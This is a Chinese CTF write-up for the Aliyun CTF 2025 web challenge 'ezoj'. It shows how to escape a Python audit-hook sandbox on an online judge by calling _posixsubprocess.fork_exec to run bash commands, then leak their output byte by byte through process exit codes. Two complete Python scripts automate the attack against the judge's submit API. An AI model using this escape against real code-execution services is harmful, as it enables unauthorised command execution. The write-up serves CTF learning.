当前位置: 首页 > news >正文

Aliyun CTF 2025 web ezoj

文章目录

  • ezoj

ezoj

在这里插入图片描述
进来一看是算法题,先做了试试看,gpt写了一个高效代码通过了在这里插入图片描述
通过后没看见啥,根据页面底部提示去/source看到源代码,没啥思路,直接看wp吧,跟算法题没啥关系,关键是去看源码

def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好了,现在你已经清楚了,有这样一个函数,只允许白名单上的东西执行。其他诸如system和eval的代码执行不了。接下来利用程序退出码获取python版本信息,退出码就相当于return 0,区别在于这里return的值可控,通过version_info获取版本信息在这里插入图片描述

import sys
sys.exit(sys.version_info[0])

得到Python版本3.12.9,接着看,就算导入os模块,也不能执行system命令在这里插入图片描述
但是可以导入内部模块,即一些隐藏的可以用来执行命令的函数
如_posixsubprocess的fork_exe()函数,它的底层是c代码,所以可以绕过安全审计在这里插入图片描述
在_posixsubprocess模块中有一个c2pwrite参数,可以将子进程的输出数据重定向到父进程,可以利用这一点将数据带出来。
在这里插入图片描述

import requests
URL
= "http://10.253.253.1/api/submit"
CODE_TEMPLATE
= """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec(
 (b"/bin/bash",b"-c",b"ls /"),
 [b"/bin/bash"],
 True,
 (),
 None,
 None,
 -1,
 -1,
 -1,
 std_pipe[1], #c2pwrite
 -1,
 -1,
 *(err_pipe),
 False,
 False,
 False,
 None,
 None,
 None,
 -1,
 None,
 False, )
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:
 sys.exit(content[{loc}])
else:
 sys.exit(255)
"""
command
="ls /"
received = ""
for i in range(254):
 code = CODE_TEMPLATE.format(loc=i,command=command)
 data = {"problem_id":0,"code":code}
 resp = requests.post(URL,json=data)
 resp_data = resp.json()
 assert(resp_data["status"] == "RE")
 ret_loc = resp_data["message"].find("ret=")
 ret_code = resp_data["message"][ret_loc+4:]
 if ret_code == "255":
 break
 received += chr(int(ret_code))
 print(received)

os.pipe创建通信管道
在这里插入图片描述
在这里插入图片描述

这里学到一个很厉害的技巧:使用管道,如果信息直接输出到终端,且不给回显,就可以通过管道给它先放进去,再从管道的另一端去读,可以采用类似布尔盲注的思想拿出信息,当然这里没这么麻烦。

_posixsubprocess.fork_exec(
    (b"/bin/bash", b"-c", b"ls /"),  # ① 要执行的命令
    [b"/bin/bash"],                   # ② argv(程序参数)
    True,                              # ③ 是否关闭所有文件描述符(close_fds)
    (),                                # ④ 预执行(preexec_fn)
    None, None,                        # ⑤ 用户ID(UID)和 组ID(GID)
    -1, -1, -1,                        # ⑥ 文件描述符重定向
    std_pipe[1],  # c2pwrite           # ⑦ stdout 重定向到管道
    -1, -1,                            # ⑧ stdin, stderr 处理
    *(err_pipe),                        # ⑨ stderr 绑定到 err_pipe
    False, False, False,                # ⑩ 设置子进程行为
    None, None, None,                   # ⑪ 进程优先级和调度相关
    -1, None, False                     # ⑫ 其他控制参数
)

在这里插入图片描述
启动bash大概就相当于启动cmd这个意思在这里插入图片描述
第二个参数只放程序本身的名字,再往下看,是一个经验性的东西,由于 os.read 可能会将程序卡住,因此在 os.read 之前先sleep⼀下。到这里payload的构建就没有什么问题了,我们再来看看处理数据的脚本怎么构建,先看题目源码在这里插入图片描述
code就是我们构建的payload,通过程序退出码逐个返回信息在这里插入图片描述
这里我们显然不能直接提交到oj平台,所以id设置为0在这里插入图片描述
如果返回状态码为RE说明sys.exit()触发了在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

import requests
url="http://121.41.238.106:50670/api/submit"
CODE_TEMPLATE='''
import _posixsubprocess
import os
import time
import sys
std_pipe=os.pipe()
err_pipe=os.pipe()
_posixsubprocess.fork_exec(
 (b"/bin/bash",b"-c",b"ls /"),
 [b"/bin/bash"],
 True,
 (),
 None,
 None,
 -1,
 -1,
 -1,
 std_pipe[1], #c2pwrite
 -1,
 -1,
 *(err_pipe),
 False,
 False,
 False,
 None,
 None,
 None,
 -1,
 None,
 False, )
time.sleep(0.1)
content=os.read(std_pipe[0],1024)
content_length=len(content)
if {log}<content_length:
    sys.exit(content[{log}])
else:
    sys.exit(255)'''
rec=""
for i in range(1,244):
    code=CODE_TEMPLATE.format(log=i)
    data={
        "problem_id":0,
        "code":code
    }
    response=requests.post(url=url,json=data)
    redata=response.json()
    assert redata["status"]=="RE"
    ret_loc=redata["message"].find("ret=")
    ret_code=redata["message"][ret_loc+4:]
    if ret_code=="255":
        break
    else:
        rec+=chr(int(ret_code))
        print(rec)

http://www.dtcms.com/a/62291.html

相关文章:

  • 云原生容器编排:Kubernetes的架构演进与实践
  • python中time模块的常用方法及应用
  • 蓝桥杯2024年第十五届省赛真题-成绩统计
  • 深入探索 Rust 的高级 Traits
  • Unity使用UGUI制作无限滑动列表
  • BambuStudio学习笔记:Model
  • postgresql 15.2 用pgbackup搭建备库后,主从复制一直无法启动
  • 从0到1入门Docker
  • word毕业论文“et al.”替换为“等”——宏
  • 爱迪斯通科技携手北京晨光溢海参展2025年北京教育装备展
  • MySQL:MySQL库和表的基本操作
  • Vue Amazing UI插件推荐
  • 【二分算法】-- x的平⽅根(easy)
  • @ComponentScan和@SpringBootApplication的scanBasePackages 同时使用
  • 面试模拟舱Pro:AI赋能的求职训练革命
  • DICOM Query/Retrieve(QR)详解与实现
  • 【Java】反射与动态代理篇
  • DeepSeek 助力 Vue3 开发:打造丝滑的表格(Table)之添加列宽调整功能,示例Table14_03可调整列宽的固定表头表格
  • 机器学习与深度学习算法及工具在图像分类中的应用总结
  • 移动Android和IOS自动化中常见问题
  • NPM安装与配置全流程详解(2025最新版)
  • Nginx的流式响应配置详解
  • 【每日学点HarmonyOS Next知识】状态变量、动画UI残留、Tab控件显示、ob前缀问题、文字背景拉伸
  • 【网络编程】HTTP网络编程
  • 前后端+数据库的项目实战--学生信息管理系统-易
  • Cesium 入门教程(基于 vue3)
  • Linux学习(十五)(故障排除(ICMP,Ping,Traceroute,网络统计,数据包分析))
  • 如何查看redis的缓存时间
  • js 使用 Web Workers 来实现一个精确的倒计时,即使ios手机锁屏或页面进入后台,倒计时也不会暂停。
  • 每天一篇《目标检测》文献(二)